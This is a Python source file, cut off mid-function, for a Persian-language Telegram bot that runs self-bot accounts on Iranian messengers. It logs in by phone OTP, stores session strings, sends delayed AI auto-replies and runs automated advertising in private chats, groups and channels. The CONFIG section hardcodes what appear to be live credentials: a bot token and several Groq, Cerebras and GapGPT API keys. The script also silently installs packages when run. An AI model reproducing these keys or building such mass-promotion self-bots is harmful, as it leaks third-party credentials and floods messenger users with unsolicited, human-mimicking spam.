# TRX ALL-IN-ONE — embedded source order: TRXF2 -> TRX_888 -> TRX_290
# The three source texts below are retained in full; integration glue only disables
# redundant file-to-file loaders and intermediate launchers so one process is used.

# TRX14_RUNTIME_MARKER = "2026-09-22-fixed-build"
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  🦖 TRX — PROFESSIONAL SYSTEM
  HTTP Bot API Edition + Multi-Messenger Self-Bot Framework
  Powered by TRX SYSTEM
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
"""

import asyncio, os, sys, json, logging, sqlite3, time, re, secrets, traceback, random
import subprocess
from datetime import datetime, timedelta
from typing import Optional, Dict, Any, List, Tuple, Callable
from enum import Enum
from dataclasses import dataclass, field

# ═══════════════════════════════════════════════════════════════════
#  AUTO-INSTALL DEPENDENCIES
# ═══════════════════════════════════════════════════════════════════

def _ensure_pkg(pip_name: str, import_name: str = None, optional: bool = False):
    """نصب خودکار پکیج در صورت نبودن"""
    import_name = import_name or pip_name
    try:
        __import__(import_name)
        return True
    except ImportError:
        print(f"  [i] Installing {pip_name} ...")
        for flags in (["--user"], []):
            try:
                subprocess.check_call(
                    [sys.executable, "-m", "pip", "install"] + flags + [pip_name],
                    stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
                print(f"  [✓] {pip_name} installed.")
                return True
            except subprocess.CalledProcessError:
                continue
        if optional:
            print(f"  [!] {pip_name} نصب نشد — این کتابخانه اختیاری است.")
            return False
        return False

_ensure_pkg("aiohttp")
_ensure_pkg("splusthon", optional=True)
_ensure_pkg("spluslib", optional=True)
_ensure_pkg("rubpy", optional=True)
_ensure_pkg("baleio", optional=True)
_ensure_pkg("aiobale", optional=True)
_ensure_pkg("bale-sdk", "bale", optional=True)
_ensure_pkg("rulog", optional=True)
_ensure_pkg("telethon", optional=True)
_ensure_pkg("aioshad", optional=True)

import aiohttp

# ═══════════════════════════════════════════════════════════════════
#  PATHS
# ═══════════════════════════════════════════════════════════════════

HOME_DIR    = os.path.expanduser("~")
PROJECT_DIR = os.path.join(HOME_DIR, "trx_bot")
os.makedirs(PROJECT_DIR, exist_ok=True)

DB_PATH     = os.path.join(PROJECT_DIR, "trx.db")
LOG_PATH    = os.path.join(PROJECT_DIR, "trx.log")
PID_PATH    = os.path.join(PROJECT_DIR, "trx.pid")
SESS_DIR    = os.path.join(PROJECT_DIR, "sessions")
os.makedirs(SESS_DIR, exist_ok=True)

# ═══════════════════════════════════════════════════════════════════
#  CONFIG
# ═══════════════════════════════════════════════════════════════════

BOT_TOKEN = "8872255669:AAEwzBxicEveHgCmh43yzWpG1yalDK9RQ9A"
ADMIN_ID  = 8831078772
ADMIN_USERNAME = "@POLO_IR"

GROQ_KEYS = [
    "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",
    "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",
]
CEREBRAS_KEYS = ["csk-6p8t4mcv5twk4264w632pvjcy2ycjevnenmwjp4jdwhp9mdn"]
GAPGPT_KEYS = ["sk-Qg5Kt60swr8UXqS1Hf0iDjJDDuRAkd49E8rznieLmeSSPwqf"]

LOG_LEVEL        = "INFO"
MAX_ACCOUNTS     = 20
MAX_DAYS         = 90
MAX_APK_PER_USER = 4
PRICE_PER_DAY    = 1

# ── Providers (فقط آنهایی که مطمئناً کار می‌کنند) ──
DEFAULT_PROVIDERS = [
    *[{"name": f"TRX_GROQ_{i+1}", "provider": "groq",
       "base_url": "https://api.groq.com/openai/v1",
       "model": "llama-3.3-70b-versatile", "api_key": k, "priority": 10 + i}
      for i, k in enumerate(GROQ_KEYS)],
    *[{"name": f"TRX_CEREBRAS_{i+1}", "provider": "cerebras",
       "base_url": "https://api.cerebras.ai/v1",
       "model": "llama-3.3-70b", "api_key": k, "priority": 20 + i}
      for i, k in enumerate(CEREBRAS_KEYS)],
    *[{"name": f"TRX_GAPGPT_{i+1}", "provider": "gapgpt",
       "base_url": "https://api.gapgpt.app/v1",
       "model": "gpt-4o-mini", "api_key": k, "priority": 40 + i}
      for i, k in enumerate(GAPGPT_KEYS)],
]

TONE_PROMPT = {
    "friendly_ir": "با لحن دوستانهٔ ایرانی، خودمانی اما محترمانه.",
    "formal":      "با لحن رسمی و مودبانه.",
    "friendly":    "با لحن دوستانه و صمیمی.",
    "tech":        "با لحن فنی و تکنولوژیک با اصطلاحات دقیق.",
    "edu":         "با لحن آموزشی، ساده و مرحله‌به‌مرحله.",
    "short":       "کوتاه، مستقیم و بدون مقدمه.",
}

SAFETY_POLICY = (
    "شما TRX هستید، دستیار هوشمند. هرگز ادعای انسان بودن نکنید. "
    "هیچ ویژگی جعلی، ادعای غیرواقعی یا تبلیغ گمراه‌کننده نسازید. "
    "پیام‌های توهین‌آمیز، غیرمجاز یا اسپم را کوتاه رد کنید."
)

# ═══════════════════════════════════════════════════════════════════
#  LOGGING
# ═══════════════════════════════════════════════════════════════════

_SECRET_RE = re.compile(
    r"(sk-[A-Za-z0-9_\-]{8,}|gsk_[A-Za-z0-9_\-]{8,}|csk-[A-Za-z0-9_\-]{8,}|"
    r"atr_[A-Za-z0-9_\-]{8,}|\d{8,12}:[A-Za-z0-9_\-]{30,})")

def _mask(msg: str) -> str:
    return _SECRET_RE.sub(lambda m: m.group(0)[:6] + "***MASKED***", msg)

class _MaskFilter(logging.Filter):
    def filter(self, record):
        record.msg = _mask(str(record.msg))
        return True

logging.basicConfig(
    level=LOG_LEVEL,
    format="%(asctime)s | %(levelname)-7s | %(name)s | %(message)s",
    handlers=[
        logging.StreamHandler(sys.stdout),
        logging.FileHandler(LOG_PATH, encoding="utf-8"),
    ])
log = logging.getLogger("TRX")
log.addFilter(_MaskFilter())

# ═══════════════════════════════════════════════════════════════════
#  I18N
# ═══════════════════════════════════════════════════════════════════

LANG_FA = {
    "welcome":        "🦖 **به TRX خوش آمدید**\n\n"
                     "> سیستم حرفه‌ای مدیریت پیام‌رسان و کمپین هوشمند\n\n"
                     "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                     "🔵 **سرویس‌های پشتیبانی‌شده:**\n"
                     "   • سروش پلاس\n   • روبیکا\n   • بله\n\n"
                     "🟢 **قابلیت‌ها:**\n"
                     "   • مدیریت چند حساب همزمان\n"
                     "   • هوش مصنوعی پیشرفته\n"
                     "   • تبلیغ خودکار در گروه و کانال\n"
                     "   • مدیریت APK و ارسال خودکار\n\n"
                     "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                     "از منوی زیر انتخاب کنید:",
    "menu.title":     "🏠 **داشبورد TRX**\n\n"
                     "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                     "از منوی زیر انتخاب کنید:\n"
                     "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
    "menu.dashboard": "🏠 داشبورد",
    "menu.profile":   "👤 پروفایل",
    "menu.accounts":  "📱 حساب‌ها",
    "menu.ai":        "🤖 هوش مصنوعی",
    "menu.apk":       "📦 مدیریت APK",
    "menu.reports":   "📊 گزارش‌ها",
    "menu.sub":       "💳 اشتراک",
    "menu.tutorial":  "📚 آموزش",
    "menu.settings":  "⚙️ تنظیمات",
    "menu.admin":     "🛡 پنل ادمین",
    "btn.back":       "⬅️ بازگشت",
    "btn.home":       "🏠 خانه",
    "btn.cancel":     "❌ لغو",
    "btn.confirm":    "✅ تایید",
    "lang.changed":   "✅ زبان تغییر کرد.",
    "cancelled":      "❌ عملیات لغو شد.",
    "error":          "⚠️ خطایی رخ داد. لطفاً بعداً تلاش کنید.",
    "no_access":      "⛔️ دسترسی ندارید.",
    "acct.add":       "➕ افزودن حساب",
    "acct.list":      "📋 لیست حساب‌ها",
    "acct.pick":      "سرویس مورد نظر را انتخاب کنید:",
    "acct.phone":     "📱 شماره موبایل را با کد کشور وارد کنید (مثال: +98912xxxxxxx):",
    "acct.otp":       "🔐 کد تایید ارسال‌شده را وارد کنید:",
    "acct.otp_sent":  "📨 کد تایید ارسال شد. منتظر دریافت کد بمانید...",
    "acct.added":     "✅ حساب با موفقیت افزوده شد.",
    "acct.failed":    "❌ افزودن حساب ناموفق بود.",
    "apk.hint":       "📦 فایل APK را در **Saved Messages** بفرستید و روی همان پیام `/id` بزنید.",
    "apk.added":      "✅ APK با موفقیت افزوده شد.",
    "apk.limit":      "⛔️ حداکثر ۴ APK فعال مجاز است.",
    "ai.on":          "🟢 AI روشن",
    "ai.off":         "🔴 AI خاموش",
    "ai.kb":          "🧠 دانش محصول",
    "ai.tone":        "🎭 لحن",
    "ai.stats":       "📊 آمار AI",
    "ai.pv":          "📢 تبلیغ در PV",
    "ai.group":       "📣 تبلیغ در گروه",
    "ai.channel":     "📰 کانال خودکار",
    "ai.platform":    "🔧 انتخاب پلتفرم",
    "tone.friendly_ir":"دوستانه ایرانی",
    "tone.formal":    "رسمی",
    "tone.friendly":  "دوستانه",
    "tone.tech":      "تکنولوژیک",
    "tone.edu":       "آموزشی",
    "tone.short":     "کوتاه و مستقیم",
    "admin.title":    "🛡 **پنل ادمین TRX**",
    "admin.users":    "👥 کاربران",
    "admin.subs":     "💳 اشتراک‌ها",
    "admin.apis":     "🔌 APIهای AI",
    "admin.pricing":  "💰 قیمت‌گذاری",
    "admin.stats":    "📊 آمار سیستم",
    "admin.logs":     "📜 لاگ‌ها",
    "admin.maint":    "🛠 تعمیرات",
    "admin.force":    "📌 عضویت اجباری",
    "admin.banner":   "🖼 بنرها",
    "admin.broadcast":"📣 پیام همگانی",
    "admin.sub_setting":"⚙️ تنظیم اشتراک",
    "support":        "🆘 پشتیبانی",
}

def t(lang, key):
    return LANG_FA.get(key, key)

# ═══════════════════════════════════════════════════════════════════
#  ENUMS
# ═══════════════════════════════════════════════════════════════════

class Service(str, Enum):
    RUBIKA  = "rubika"
    SOROUSH = "soroush"
    BALE    = "bale"
    TELEGRAM = "telegram"
    SHAD     = "shad"

class State(str, Enum):
    NONE              = "none"
    ADD_ACC_PHONE     = "add_acc_phone"
    ADD_ACC_OTP       = "add_acc_otp"
    ADD_ACC_2FA       = "add_acc_2fa"
    ADD_APK           = "add_apk"
    ADD_PROVIDER_NAME = "add_prov_name"
    ADD_PROVIDER_KEY  = "add_prov_key"
    ADD_PROVIDER_URL  = "add_prov_url"
    EDIT_KB           = "edit_kb"
    BROADCAST         = "broadcast"
    ADD_BANNER_SLOT   = "add_banner_slot"
    ADD_BANNER_IMAGE  = "add_banner_image"
    ADD_FORCE_CHANNEL = "add_force_channel"
    ADD_SUB_USER      = "add_sub_user"
    ADD_SUB_AMOUNT    = "add_sub_amount"
    AI_PV_TARGET      = "ai_pv_target"
    AI_PV_MESSAGE     = "ai_pv_message"
    AI_GROUP_LINK     = "ai_group_link"
    AI_GROUP_SPEED    = "ai_group_speed"
    AI_CHANNEL_NAME   = "ai_channel_name"
    AI_CHANNEL_DESC   = "ai_channel_desc"
    ADD_PRICING_PLAN  = "add_pricing_plan"
    AI_SELECT_ACCOUNT = "ai_select_account"

# ═══════════════════════════════════════════════════════════════════
#  DATABASE
# ═══════════════════════════════════════════════════════════════════

_SCHEMA = """
CREATE TABLE IF NOT EXISTS users (
    user_id INTEGER PRIMARY KEY, username TEXT, first_name TEXT,
    lang TEXT DEFAULT 'fa', is_banned INTEGER DEFAULT 0, ban_reason TEXT,
    ai_enabled INTEGER DEFAULT 1, tone TEXT DEFAULT 'friendly_ir',
    created_at TEXT, last_activity TEXT
);
CREATE TABLE IF NOT EXISTS subscriptions (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, plan TEXT,
    accounts INTEGER, days INTEGER, price INTEGER, status TEXT DEFAULT 'pending',
    created_at TEXT, expires_at TEXT, invoice_id TEXT
);
CREATE TABLE IF NOT EXISTS accounts (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, service TEXT,
    phone TEXT, session TEXT, enabled INTEGER DEFAULT 1,
    status TEXT DEFAULT 'online', added_at TEXT, last_activity TEXT,
    error_count INTEGER DEFAULT 0
);
CREATE TABLE IF NOT EXISTS apk_files (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, file_id TEXT,
    message_id INTEGER, file_name TEXT, file_size INTEGER,
    enabled INTEGER DEFAULT 1, added_at TEXT
);
CREATE TABLE IF NOT EXISTS ai_providers (
    id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT UNIQUE, provider TEXT,
    base_url TEXT, model TEXT, api_key TEXT, priority INTEGER DEFAULT 100,
    status TEXT DEFAULT 'unknown', error_count INTEGER DEFAULT 0,
    last_test TEXT, created_at TEXT
);
CREATE TABLE IF NOT EXISTS ai_usage (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, provider_id INTEGER,
    account_id INTEGER, action_type TEXT, tokens INTEGER DEFAULT 0,
    success INTEGER DEFAULT 1, created_at TEXT
);
CREATE TABLE IF NOT EXISTS activity_logs (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, event TEXT,
    detail TEXT, created_at TEXT
);
CREATE TABLE IF NOT EXISTS settings (key TEXT PRIMARY KEY, value TEXT);
CREATE TABLE IF NOT EXISTS banners (
    id INTEGER PRIMARY KEY AUTOINCREMENT, slot TEXT UNIQUE,
    image_file_id TEXT, caption TEXT, enabled INTEGER DEFAULT 1, updated_at TEXT
);
CREATE TABLE IF NOT EXISTS force_join (
    id INTEGER PRIMARY KEY AUTOINCREMENT, channel_id TEXT UNIQUE,
    channel_title TEXT, invite_link TEXT, enabled INTEGER DEFAULT 1, added_at TEXT
);
CREATE TABLE IF NOT EXISTS broadcast_log (
    id INTEGER PRIMARY KEY AUTOINCREMENT, admin_id INTEGER, message_text TEXT,
    sent_count INTEGER DEFAULT 0, failed_count INTEGER DEFAULT 0, created_at TEXT
);
CREATE TABLE IF NOT EXISTS ai_targets (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, target_type TEXT,
    target_id TEXT, target_name TEXT, platform TEXT, added_at TEXT
);
CREATE TABLE IF NOT EXISTS pricing_plans (
    id INTEGER PRIMARY KEY AUTOINCREMENT, days INTEGER, accounts INTEGER,
    price INTEGER, label TEXT, enabled INTEGER DEFAULT 1, created_at TEXT
);
CREATE TABLE IF NOT EXISTS account_activity (
    id INTEGER PRIMARY KEY AUTOINCREMENT, account_id INTEGER, user_id INTEGER,
    action TEXT, target TEXT, success INTEGER DEFAULT 1, created_at TEXT
);
CREATE TABLE IF NOT EXISTS ai_bindings (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, account_id INTEGER NOT NULL UNIQUE,
    enabled INTEGER DEFAULT 1, auto_reply_pv INTEGER DEFAULT 1, auto_reply_group INTEGER DEFAULT 0,
    test_sent_at TEXT, created_at TEXT, updated_at TEXT
);
CREATE TABLE IF NOT EXISTS ai_tasks (
    id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, account_id INTEGER NOT NULL,
    task_type TEXT NOT NULL, target TEXT NOT NULL, interval_seconds INTEGER DEFAULT 1800,
    message_template TEXT DEFAULT '', enabled INTEGER DEFAULT 0, created_at TEXT, updated_at TEXT
);
"""

class DB:
    def __init__(self, path):
        self.conn = sqlite3.connect(path, check_same_thread=False)
        self.conn.row_factory = sqlite3.Row
        self.conn.execute("PRAGMA journal_mode=WAL;")
        self.conn.executescript(_SCHEMA)
        self.conn.commit()
    def execute(self, q, p=()):
        cur = self.conn.cursor(); cur.execute(q, p); self.conn.commit(); return cur
    def fetchone(self, q, p=()):
        return self.conn.execute(q, p).fetchone()
    def fetchall(self, q, p=()):
        return self.conn.execute(q, p).fetchall()
    def close(self):
        try: self.conn.close()
        except Exception: pass

db = None

def now(): return datetime.utcnow().isoformat(timespec="seconds")


def _trx660_ensure_apk_sources_schema():
    """Additive repair: ensure the APK source metadata table exists after DB init."""
    if db is None:
        return
    try:
        db.execute("""
            CREATE TABLE IF NOT EXISTS apk_sources (
                apk_id INTEGER PRIMARY KEY,
                account_id INTEGER,
                platform TEXT,
                source_peer TEXT,
                source_message_id TEXT,
                created_at TEXT
            )
        """)
        log.info("[TRX660] apk_sources schema verified")
    except Exception as exc:
        log.error(f"[TRX660] apk_sources schema repair failed: {exc}")
        raise


def _migrate_runtime_schema():
    """Migrate old TRX databases without destroying existing data."""
    if db is None: return
    migrations=[
        ("ai_providers","last_error","TEXT DEFAULT ''"),
        ("banners","image_file_id","TEXT DEFAULT ''"),
        ("banners","caption","TEXT DEFAULT ''"),
        ("banners","enabled","INTEGER DEFAULT 1"),
        ("banners","updated_at","TEXT"),
        ("accounts","status","TEXT DEFAULT 'online'"),
        ("accounts","last_activity","TEXT"),
        ("accounts","error_count","INTEGER DEFAULT 0"),
        ("ai_usage","action_type","TEXT DEFAULT 'chat'"),
        ("ai_usage","tokens","INTEGER DEFAULT 0"),
        ("ai_usage","account_id","INTEGER"),
    ]
    for table,col,definition in migrations:
        try:
            cols={r["name"] for r in db.fetchall(f"PRAGMA table_info({table})")}
            if col not in cols:
                db.execute(f"ALTER TABLE {table} ADD COLUMN {col} {definition}")
                log.info(f"Schema migration: added {table}.{col}")
        except Exception as e:
            log.warning(f"schema migration {table}.{col}: {e}")
    try:
        db.execute("CREATE TABLE IF NOT EXISTS ai_bindings (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, account_id INTEGER NOT NULL UNIQUE, enabled INTEGER DEFAULT 1, auto_reply_pv INTEGER DEFAULT 1, auto_reply_group INTEGER DEFAULT 0, test_sent_at TEXT, created_at TEXT, updated_at TEXT)")
        db.execute("CREATE TABLE IF NOT EXISTS ai_tasks (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, account_id INTEGER NOT NULL, task_type TEXT NOT NULL, target TEXT NOT NULL, interval_seconds INTEGER DEFAULT 1800, message_template TEXT DEFAULT '', enabled INTEGER DEFAULT 0, created_at TEXT, updated_at TEXT)")
    except Exception as e: log.warning(f"AI schema migration: {e}")


def _ensure_banner_schema():
    """Ensure the banners table has the required columns."""
    if db is None: return
    try:
        cols = {r["name"] for r in db.fetchall("PRAGMA table_info(banners)")}
        needed = {
            "image_file_id": "TEXT DEFAULT ''",
            "caption": "TEXT DEFAULT ''",
            "enabled": "INTEGER DEFAULT 1",
            "updated_at": "TEXT"
        }
        for col, definition in needed.items():
            if col not in cols:
                db.execute(f"ALTER TABLE banners ADD COLUMN {col} {definition}")
                log.info(f"Added missing column banners.{col}")
    except Exception as e:
        log.error(f"Banner schema fix failed: {e}")

def ensure_user(uid, username="", first_name=""):
    row = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    if not row:
        db.execute("INSERT INTO users(user_id,username,first_name,created_at,last_activity) "
                   "VALUES(?,?,?,?,?)", (uid, username, first_name, now(), now()))
        row = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    else:
        db.execute("UPDATE users SET last_activity=?, username=?, first_name=? WHERE user_id=?",
                   (now(), username or row["username"], first_name or row["first_name"], uid))
    return row

def get_lang(uid):
    r = db.fetchone("SELECT lang FROM users WHERE user_id=?", (uid,))
    return (r["lang"] if r else "fa") or "fa"

def log_event(uid, event, detail=""):
    try:
        db.execute("INSERT INTO activity_logs(user_id,event,detail,created_at) VALUES(?,?,?,?)",
                   (uid, event, detail[:500], now()))
    except Exception: pass

def log_account_activity(account_id, user_id, action, target="", success=1):
    try:
        db.execute("INSERT INTO account_activity(account_id,user_id,action,target,success,created_at) "
                   "VALUES(?,?,?,?,?,?)", (account_id, user_id, action, target, success, now()))
    except Exception: pass

def get_active_subscription(uid):
    return db.fetchone(
        "SELECT * FROM subscriptions WHERE user_id=? AND status='active' "
        "AND expires_at > ? ORDER BY expires_at DESC LIMIT 1", (uid, now()))

def is_admin(uid): return uid == ADMIN_ID

def _setting(key, default):
    r = db.fetchone("SELECT value FROM settings WHERE key=?", (key,))
    return r["value"] if r else default

def _set_setting(key, value):
    db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)", (key, str(value)))

def _is_bot_enabled(): return _setting("bot_enabled", "1") == "1"

def _get_force_channels():
    return db.fetchall("SELECT * FROM force_join WHERE enabled=1")

def _get_pricing_plans():
    return db.fetchall("SELECT * FROM pricing_plans WHERE enabled=1 ORDER BY days ASC")

# ═══════════════════════════════════════════════════════════════════
#  AI PROVIDER MANAGER
# ═══════════════════════════════════════════════════════════════════

class AIProvider:
    def __init__(self): self.session = None

    async def start(self):
        if not self.session or self.session.closed:
            self.session = aiohttp.ClientSession(
                timeout=aiohttp.ClientTimeout(total=45),
                connector=aiohttp.TCPConnector(limit=20, ttl_dns_cache=300))

    async def close(self):
        if self.session and not self.session.closed: await self.session.close()

    def _load(self):
        return db.fetchall("SELECT * FROM ai_providers WHERE api_key!='' "
                           "AND status!='disabled' ORDER BY priority ASC, id ASC")

    async def seed(self):
        for p in DEFAULT_PROVIDERS:
            if not p["api_key"]: continue
            if not db.fetchone("SELECT id FROM ai_providers WHERE name=?", (p["name"],)):
                db.execute("INSERT INTO ai_providers(name,provider,base_url,model,api_key,"
                           "priority,status,created_at) VALUES(?,?,?,?,?,?,?,?)",
                           (p["name"], p["provider"], p["base_url"], p["model"],
                            p["api_key"], p["priority"], "unknown", now()))
                log.info(f"AI provider seeded: {p['name']}")

    async def _call(self, prov, messages, temperature=0.7, max_tokens=600):
        url = prov["base_url"].rstrip("/") + "/chat/completions"
        headers = {"Authorization": f"Bearer {prov['api_key']}",
                   "Content-Type": "application/json"}
        body = {"model": prov["model"], "messages": messages,
                "temperature": temperature, "max_tokens": max_tokens}
        try:
            async with self.session.post(url, headers=headers, json=body) as r:
                txt = await r.text()
                if r.status >= 400:
                    status = "rate_limited" if r.status == 429 else "failed"
                    db.execute("UPDATE ai_providers SET error_count=error_count+1, status=? WHERE id=?",
                               (status, prov["id"]))
                    log.warning(f"AI {prov['name']} HTTP {r.status}: {txt[:200]}")
                    return None
                data = json.loads(txt)
                content = data["choices"][0]["message"]["content"]
                db.execute("UPDATE ai_providers SET status='working', last_test=? WHERE id=?",
                           (now(), prov["id"]))
                return content
        except Exception as e:
            db.execute("UPDATE ai_providers SET error_count=error_count+1, status='failed' WHERE id=?",
                       (prov["id"],))
            log.warning(f"AI {prov['name']} error: {e}")
            return None

    async def chat(self, messages, uid=0, account_id=None, action_type="chat",
                   temperature=0.7, max_tokens=600):
        await self.start()
        provs = self._load()
        if not provs: return None
        provs = sorted(provs, key=lambda p: (
            0 if p["status"] == "working" else
            1 if p["status"] == "unknown" else 2, p["priority"]))
        for prov in provs:
            content = await self._call(prov, messages, temperature, max_tokens)
            if content:
                try:
                    db.execute("INSERT INTO ai_usage(user_id,provider_id,account_id,"
                               "action_type,tokens,success,created_at) VALUES(?,?,?,?,?,1,?)",
                               (uid, prov["id"], account_id, action_type, 0, now()))
                except Exception: pass
                return content
        return None

    async def test(self, prov_id):
        await self.start()
        prov = db.fetchone("SELECT * FROM ai_providers WHERE id=?", (prov_id,))
        if not prov: return False, "not found"
        c = await self._call(prov, [{"role": "user", "content": "Say OK"}], 0.0, 8)
        return bool(c), c

ai = AIProvider()

# ═══════════════════════════════════════════════════════════════════
#  SELF-BOT ENGINE
# ═══════════════════════════════════════════════════════════════════

active_clients: Dict[int, Any] = {}
ai_live_clients: Dict[Tuple[int, int], Any] = {}

# ── سروش پلاس ──
async def soroush_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    """سروش پلاس — ارسال کد با SPlusthon"""
    try:
        from splusthon import SoroushClient
    except ImportError:
        return False, "splusthon not installed. Run: pip3 install splusthon"
    try:
        session_name = os.path.join(SESS_DIR, f"soroush_{uid}")
        client = SoroushClient(session_name)
        await client.connect()
        sent = await client.send_code_request(phone)
        active_clients[uid] = {
            "client": client, "service": "soroush",
            "phone": phone, "hash": sent.phone_code_hash,
        }
        log.info(f"[{uid}] Soroush OTP requested for {phone[:6]}***")
        return True, sent
    except Exception as e:
        log.error(f"[{uid}] Soroush send_code: {e}")
        return False, str(e)

async def soroush_verify(uid: int, code: str) -> Tuple[bool, Any]:
    """تأیید کد سروش"""
    info = active_clients.get(uid)
    if not info or info["service"] != "soroush":
        return False, "no pending session"
    client = info["client"]
    try:
        await client.sign_in(phone=info["phone"], code=code,
                            phone_code_hash=info["hash"])
        me = await client.get_me()
        session_str = client.session.save()
        db.execute("INSERT INTO accounts(user_id,service,phone,session,status,added_at) "
                   "VALUES(?,?,?,?,?,?)",
                   (uid, "soroush", info["phone"], session_str, "online", now()))
        _register_ai_handler(client, uid, "soroush")
        active_clients[uid]["connected"] = True
        log_event(uid, "ACCOUNT_ADDED", "soroush")
        return True, me
    except Exception as e:
        log.error(f"[{uid}] Soroush verify: {e}")
        return False, str(e)

# ── روبیکا (rubpy) ──
async def rubika_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    """روبیکا — ارسال کد با rubpy"""
    try:
        from rubpy import Client
    except ImportError:
        return False, "rubpy not installed. Run: pip3 install rubpy"
    try:
        session_name = os.path.join(SESS_DIR, f"rubika_{uid}")
        client = Client(name=session_name)
        await client.start()
        sent = await client.send_code(phone)
        active_clients[uid] = {
            "client": client, "service": "rubika",
            "phone": phone, "hash": getattr(sent, "phone_code_hash", None),
        }
        log.info(f"[{uid}] Rubika OTP requested for {phone[:6]}***")
        return True, sent
    except Exception as e:
        log.error(f"[{uid}] Rubika send_code: {e}")
        return False, str(e)

async def rubika_verify(uid: int, code: str) -> Tuple[bool, Any]:
    """تأیید کد روبیکا"""
    info = active_clients.get(uid)
    if not info or info["service"] != "rubika":
        return False, "no pending session"
    client = info["client"]
    try:
        await client.sign_in(phone=info["phone"], code=code)
        me = await client.get_me()
        session_str = getattr(client, "session", {}).get("auth", "")
        db.execute("INSERT INTO accounts(user_id,service,phone,session,status,added_at) "
                   "VALUES(?,?,?,?,?,?)",
                   (uid, "rubika", info["phone"], str(session_str), "online", now()))
        _register_ai_handler(client, uid, "rubika")
        active_clients[uid]["connected"] = True
        log_event(uid, "ACCOUNT_ADDED", "rubika")
        return True, me
    except Exception as e:
        log.error(f"[{uid}] Rubika verify: {e}")
        return False, str(e)

# ── بله (aiobale) ──
async def bale_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    """بله — ارسال کد با aiobale"""
    try:
        from aiobale import Client as BaleClient
        from aiobale import Dispatcher
    except ImportError:
        return False, "aiobale not installed. Run: pip3 install aiobale"
    try:
        dp = Dispatcher()
        client = BaleClient(dp)
        await client.start()
        sent = await client.send_code_request(phone)
        active_clients[uid] = {
            "client": client, "service": "bale",
            "phone": phone, "hash": getattr(sent, "phone_code_hash", None),
        }
        log.info(f"[{uid}] Bale OTP requested for {phone[:6]}***")
        return True, sent
    except Exception as e:
        log.error(f"[{uid}] Bale send_code: {e}")
        return False, str(e)

async def bale_verify(uid: int, code: str) -> Tuple[bool, Any]:
    """تأیید کد بله"""
    info = active_clients.get(uid)
    if not info or info["service"] != "bale":
        return False, "no pending session"
    client = info["client"]
    try:
        await client.sign_in(phone=info["phone"], code=code,
                            phone_code_hash=info["hash"])
        session_str = ""
        db.execute("INSERT INTO accounts(user_id,service,phone,session,status,added_at) "
                   "VALUES(?,?,?,?,?,?)",
                   (uid, "bale", info["phone"], session_str, "online", now()))
        active_clients[uid]["connected"] = True
        log_event(uid, "ACCOUNT_ADDED", "bale")
        return True, "ok"
    except Exception as e:
        log.error(f"[{uid}] Bale verify: {e}")
        return False, str(e)

SERVICE_HANDLERS = {
    "soroush": {"send": soroush_send_code, "verify": soroush_verify},
    "rubika":  {"send": rubika_send_code,  "verify": rubika_verify},
    "bale":    {"send": bale_send_code,    "verify": bale_verify},
}

def _register_ai_handler(client, uid: int, service: str):
    """ثبت handler برای پاسخ خودکار AI"""
    async def handler(event):
        try:
            if hasattr(event, "is_private") and not event.is_private: return
            text = getattr(event, "raw_text", "") or ""
            if not text.strip(): return
            delay = random.randint(120, 600)
            await asyncio.sleep(delay)
            u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
            if not u or not u["ai_enabled"]: return
            kb = db.fetchone("SELECT value FROM settings WHERE key=?", (f"kb:{uid}",))
            kb_text = kb["value"] if kb else ""
            tone = TONE_PROMPT.get(u["tone"] or "friendly_ir", "")
            if re.search(r"(fuck|کص|کیر|خار|jerk|scam)", text, re.I): return
            messages = [{"role": "system", "content": SAFETY_POLICY + "\n" + tone +
                         "\n\nKnowledge:\n" + kb_text},
                        {"role": "user", "content": text[:1500]}]
            reply = await ai.chat(messages, uid=uid, action_type="auto_reply",
                                  temperature=0.6, max_tokens=400)
            if reply:
                if hasattr(event, "reply"): await event.reply(reply)
                elif hasattr(event, "respond"): await event.respond(reply)
                log_event(uid, "AI_REQUEST", f"{service}-auto-reply")
        except Exception as e:
            log.error(f"AI handler {service}: {e}")
    try:
        if hasattr(client, "on_message"): client.on_message(handler)
        elif hasattr(client, "on"): client.on(handler)
        log.info(f"AI handler registered for {service} (uid={uid})")
    except Exception as e:
        log.warning(f"Could not register AI handler: {e}")

# ═══════════════════════════════════════════════════════════════════
#  BOT — HTTP Bot API CLIENT
# ═══════════════════════════════════════════════════════════════════

class Bot:
    def __init__(self, token):
        self.token = token
        self.base = f"https://api.telegram.org/bot{token}"
        self.session = None
        self.offset = 0
        self.me = {}
        self.running = False

    async def start(self):
        self.session = aiohttp.ClientSession(
            timeout=aiohttp.ClientTimeout(total=60),
            connector=aiohttp.TCPConnector(limit=30, ttl_dns_cache=300))

    async def close(self):
        if self.session and not self.session.closed: await self.session.close()

    async def call(self, method, **params):
        try:
            async with self.session.post(f"{self.base}/{method}", json=params) as r:
                data = await r.json(content_type=None)
